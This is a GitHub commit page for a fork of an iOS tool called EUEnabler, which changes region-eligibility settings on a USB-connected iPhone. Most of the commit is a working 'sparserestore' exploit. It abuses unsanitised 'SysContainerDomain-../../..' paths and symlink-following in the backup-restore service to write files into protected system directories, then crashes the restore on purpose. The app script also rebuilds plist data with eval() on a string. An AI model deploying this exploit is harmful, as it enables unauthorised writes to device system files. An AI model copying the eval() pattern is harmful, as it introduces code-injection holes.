forked from Lrdsnow/EUEnabler
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
10 changed files
with
464 additions
and
7 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,9 @@ | ||
how to use: | ||
- install `pymobiledevice3` | ||
- run `app.py` | ||
# EU Enabler | ||
|
||
requires python 3.12 | ||
|
||
only works in the US for rn | ||
## How to use | ||
1. ensure and install python3 and git if you do not have it | ||
2. open a terminal and run `git clone https://github.com/Lrdsnow/EUEnabler.git` | ||
3. run `cd EUEnabler` | ||
4. run `python3 -m pip install pymobiledevice3` if it is not installed | ||
5. run `python3 app.py` | ||
6. follow the instructions and enjoy! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,26 @@ | ||
from exploit.restore import restore_file | ||
import restore | ||
from pathlib import Path | ||
import plistlib | ||
|
||
region_code = input("Enter your 2-letter region code (default to US): ").strip().upper() or "US" | ||
|
||
def replace_region_code(plist_path, original_code="US", new_code="US"): | ||
with open(plist_path, 'rb') as f: | ||
plist_data = plistlib.load(f) | ||
|
||
plist_str = str(plist_data) | ||
updated_plist_str = plist_str.replace(original_code, new_code) | ||
updated_plist_data = eval(updated_plist_str) # Convert string back to dictionary | ||
|
||
with open(plist_path, 'wb') as f: | ||
plistlib.dump(updated_plist_data, f) | ||
|
||
file_path = Path.joinpath(Path.cwd(), 'eligibility.plist') | ||
replace_region_code(file_path, original_code="US", new_code=region_code) | ||
restore_file(fp=file_path, restore_path='/var/db/os_eligibility/', restore_name='eligibility.plist') | ||
|
||
file_path = Path.joinpath(Path.cwd(), 'Config.plist') | ||
replace_region_code(file_path, original_code="US", new_code=region_code) | ||
restore_file(fp=file_path, restore_path='/var/MobileAsset/AssetsV2/com_apple_MobileAsset_OSEligibility/purpose_auto/c55a421c053e10233e5bfc15c42fa6230e5639a9.asset/AssetData/', restore_name='Config.plist') | ||
|
||
print("Reboot to see changes!") |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
from sparserestore import backup | ||
from pymobiledevice3.lockdown import create_using_usbmux | ||
from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service | ||
from tempfile import TemporaryDirectory | ||
from pathlib import Path | ||
|
||
def restore_file(fp: str, restore_path: str, restore_name: str): | ||
contents = open(fp, 'rb').read() | ||
back = backup.Backup( | ||
files=[ | ||
backup.Directory("", "RootDomain"), | ||
backup.Directory("Library", "RootDomain"), | ||
backup.Directory("Library/Preferences", "RootDomain"), | ||
backup.ConcreteFile("Library/Preferences/temp", "RootDomain", owner=33, group=33, contents=contents, inode=0), | ||
backup.Directory( | ||
"", | ||
f"SysContainerDomain-../../../../../../../..{restore_path}", | ||
owner=33, | ||
group=33, | ||
), | ||
backup.ConcreteFile( | ||
"", | ||
f"SysContainerDomain-../../../../../../../..{restore_path}/{restore_name}", | ||
owner=33, | ||
group=33, | ||
contents=b"", | ||
inode=0, | ||
), | ||
backup.ConcreteFile( | ||
"", | ||
"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp", | ||
owner=501, | ||
group=501, | ||
contents=b"", | ||
), # Break the hard link | ||
backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""), | ||
] | ||
) | ||
with TemporaryDirectory() as backup_dir: | ||
backup_dir_path = Path(backup_dir) | ||
back.write_to_directory(backup_dir_path) | ||
print(f'Backup written to {backup_dir}') | ||
input('Press Enter to continue...') | ||
lockdown = create_using_usbmux() | ||
with Mobilebackup2Service(lockdown) as mb: | ||
mb.restore(backup_dir, system=True, reboot=False, copy=False, source='.') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
from tempfile import TemporaryDirectory | ||
from pathlib import Path | ||
|
||
from pymobiledevice3.lockdown import create_using_usbmux | ||
from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service | ||
from pymobiledevice3.exceptions import PyMobileDevice3Exception | ||
|
||
from . import backup | ||
from .backup import _FileMode as FileMode | ||
|
||
def perform_restore(backup: backup.Backup, reboot: bool = False): | ||
with TemporaryDirectory() as backup_dir: | ||
backup.write_to_directory(Path(backup_dir)) | ||
|
||
lockdown = create_using_usbmux() | ||
with Mobilebackup2Service(lockdown) as mb: | ||
mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".") | ||
|
||
def exploit_write_file(file: backup.BackupFile): | ||
# Exploits in use: | ||
# - Path after SysContainerDomain- or SysSharedContainerDomain- is not sanitized | ||
# - SysContainerDomain will follow symlinks | ||
|
||
# /var/.backup.i/var/mobile/Library/Backup/System Containers/Data/com.container.name | ||
# ../ ../ ../ ../ ../ ../ ../ ../ | ||
ROOT = "SysContainerDomain-../../../../../../../.." | ||
file.domain = ROOT + file.path | ||
file.path = "" | ||
|
||
back = backup.Backup(files=[ | ||
file, | ||
# Crash on purpose so that a restore is not actually applied | ||
backup.ConcreteFile("", ROOT + "/crash_on_purpose", contents=b"") | ||
]) | ||
|
||
try: | ||
perform_restore(back) | ||
except PyMobileDevice3Exception as e: | ||
if "crash_on_purpose" not in str(e): | ||
raise e |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,185 @@ | ||
from dataclasses import dataclass | ||
from datetime import datetime | ||
import plistlib | ||
from pathlib import Path | ||
from base64 import b64decode | ||
from hashlib import sha1 | ||
from . import mbdb | ||
from .mbdb import _FileMode | ||
from random import randbytes | ||
from typing import Optional | ||
|
||
# RWX:RX:RX | ||
DEFAULT = _FileMode.S_IRUSR | _FileMode.S_IWUSR | _FileMode.S_IXUSR | _FileMode.S_IRGRP | _FileMode.S_IXGRP | _FileMode.S_IROTH | _FileMode.S_IXOTH | ||
|
||
@dataclass | ||
class BackupFile: | ||
path: str | ||
domain: str | ||
|
||
def to_record(self) -> mbdb.MbdbRecord: | ||
raise NotImplementedError() | ||
|
||
@dataclass | ||
class ConcreteFile(BackupFile): | ||
contents: bytes | ||
owner: int = 0 | ||
group: int = 0 | ||
inode: Optional[int] = None | ||
mode: _FileMode = DEFAULT | ||
|
||
def to_record(self) -> mbdb.MbdbRecord: | ||
if self.inode is None: | ||
self.inode = int.from_bytes(randbytes(8), "big") | ||
return mbdb.MbdbRecord( | ||
domain=self.domain, | ||
filename=self.path, | ||
link="", | ||
hash=sha1(self.contents).digest(), | ||
key=b"", | ||
mode=self.mode | _FileMode.S_IFREG, | ||
#unknown2=0, | ||
#unknown3=0, | ||
inode=self.inode, | ||
user_id=self.owner, | ||
group_id=self.group, | ||
mtime=int(datetime.now().timestamp()), | ||
atime=int(datetime.now().timestamp()), | ||
ctime=int(datetime.now().timestamp()), | ||
size=len(self.contents), | ||
flags=4, | ||
properties=[] | ||
) | ||
|
||
@dataclass | ||
class Directory(BackupFile): | ||
owner: int = 0 | ||
group: int = 0 | ||
mode: _FileMode = DEFAULT | ||
|
||
def to_record(self) -> mbdb.MbdbRecord: | ||
return mbdb.MbdbRecord( | ||
domain=self.domain, | ||
filename=self.path, | ||
link="", | ||
hash=b"", | ||
key=b"", | ||
mode=self.mode | _FileMode.S_IFDIR, | ||
#unknown2=0, | ||
#unknown3=0, | ||
inode=0, # inode is not respected for directories | ||
user_id=self.owner, | ||
group_id=self.group, | ||
mtime=int(datetime.now().timestamp()), | ||
atime=int(datetime.now().timestamp()), | ||
ctime=int(datetime.now().timestamp()), | ||
size=0, | ||
flags=4, | ||
properties=[] | ||
) | ||
|
||
@dataclass | ||
class SymbolicLink(BackupFile): | ||
target: str | ||
owner: int = 0 | ||
group: int = 0 | ||
inode: Optional[int] = None | ||
mode: _FileMode = DEFAULT | ||
|
||
def to_record(self) -> mbdb.MbdbRecord: | ||
if self.inode is None: | ||
self.inode = int.from_bytes(randbytes(8), "big") | ||
return mbdb.MbdbRecord( | ||
domain=self.domain, | ||
filename=self.path, | ||
link=self.target, | ||
hash=b"", | ||
key=b"", | ||
mode=self.mode | _FileMode.S_IFLNK, | ||
#unknown2=0, | ||
#unknown3=0, | ||
inode=self.inode, | ||
user_id=self.owner, | ||
group_id=self.group, | ||
mtime=int(datetime.now().timestamp()), | ||
atime=int(datetime.now().timestamp()), | ||
ctime=int(datetime.now().timestamp()), | ||
size=0, | ||
flags=4, | ||
properties=[] | ||
) | ||
|
||
@dataclass | ||
class Backup: | ||
files: list[BackupFile] | ||
|
||
def write_to_directory(self, directory: Path): | ||
for file in self.files: | ||
if isinstance(file, ConcreteFile): | ||
#print("Writing", file.path, "to", directory / sha1((file.domain + "-" + file.path).encode()).digest().hex()) | ||
with open(directory / sha1((file.domain + "-" + file.path).encode()).digest().hex(), "wb") as f: | ||
f.write(file.contents) | ||
|
||
with open(directory / "Manifest.mbdb", "wb") as f: | ||
f.write(self.generate_manifest_db().to_bytes()) | ||
|
||
with open(directory / "Status.plist", "wb") as f: | ||
f.write(self.generate_status()) | ||
|
||
with open(directory / "Manifest.plist", "wb") as f: | ||
f.write(self.generate_manifest()) | ||
|
||
with open(directory / "Info.plist", "wb") as f: | ||
f.write(plistlib.dumps({})) | ||
|
||
|
||
def generate_manifest_db(self): # Manifest.mbdb | ||
records = [] | ||
for file in self.files: | ||
records.append(file.to_record()) | ||
return mbdb.Mbdb(records=records) | ||
|
||
def generate_status(self) -> bytes: # Status.plist | ||
return plistlib.dumps({ | ||
"BackupState": "new", | ||
"Date": datetime.fromisoformat("1970-01-01T00:00:00+00:00"), | ||
"IsFullBackup": False, | ||
"SnapshotState": "finished", | ||
"UUID": "00000000-0000-0000-0000-000000000000", | ||
"Version": "2.4" | ||
}) | ||
|
||
def generate_manifest(self) -> bytes: # Manifest.plist | ||
return plistlib.dumps({ | ||
"BackupKeyBag": b64decode(""" | ||
VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1D | ||
SwAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAA | ||
AAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVVSUQA | ||
AAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAE | ||
AAAAAFdQS1kAAAAoN3kQAJloFg+ukEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9 | ||
UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAEAAAAAktU | ||
WVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9z | ||
ZCHNJhnorVVVSUQAAAAQf7JFQiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAE | ||
AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRguQyqHukotrxh | ||
jIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdS | ||
QVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZA | ||
ie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1KhJKNTUNMQVMAAAAE | ||
AAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/t | ||
djKArOqTaH0tPSG9KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENM | ||
QVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAofe2QSvDC2cV7 | ||
Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yE | ||
cfWmMUNMQVMAAAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLY | ||
PQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVVSUQAAAAQEBpgKOz9 | ||
Tni8F9kmSXd0sENMQVMAAAAEAAAACFdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kA | ||
AAAo5mxVoyNFgPMzphYhm1VG8Fhsin/xX+r6mCd9gByF5SxeolAIT/ICF1VVSUQAAAAQ | ||
rfKB2uPSQtWh82yx6w4BoUNMQVMAAAAEAAAACVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAA | ||
AFdQS1kAAAAo5iayZBwcRa1c1MMx7vh6lOYux3oDI/bdxFCW1WHCQR/Ub1MOv+QaYFVV | ||
SUQAAAAQiLXvK3qvQza/mea5inss/0NMQVMAAAAEAAAACldSQVAAAAAEAAAAA0tUWVAA | ||
AAAEAAAAAFdQS1kAAAAoD2wHX7KriEe1E31z7SQ7/+AVymcpARMYnQgegtZD0Mq2U55u | ||
xwNr2FVVSUQAAAAQ/Q9feZxLS++qSe/a4emRRENMQVMAAAAEAAAAC1dSQVAAAAAEAAAA | ||
A0tUWVAAAAAEAAAAAFdQS1kAAAAocYda2jyYzzSKggRPw/qgh6QPESlkZedgDUKpTr4Z | ||
Z8FDgd7YoALY1g=="""), | ||
"Lockdown": {}, | ||
"SystemDomainsVersion": "20.0", | ||
"Version": "9.1" | ||
}) |
Oops, something went wrong.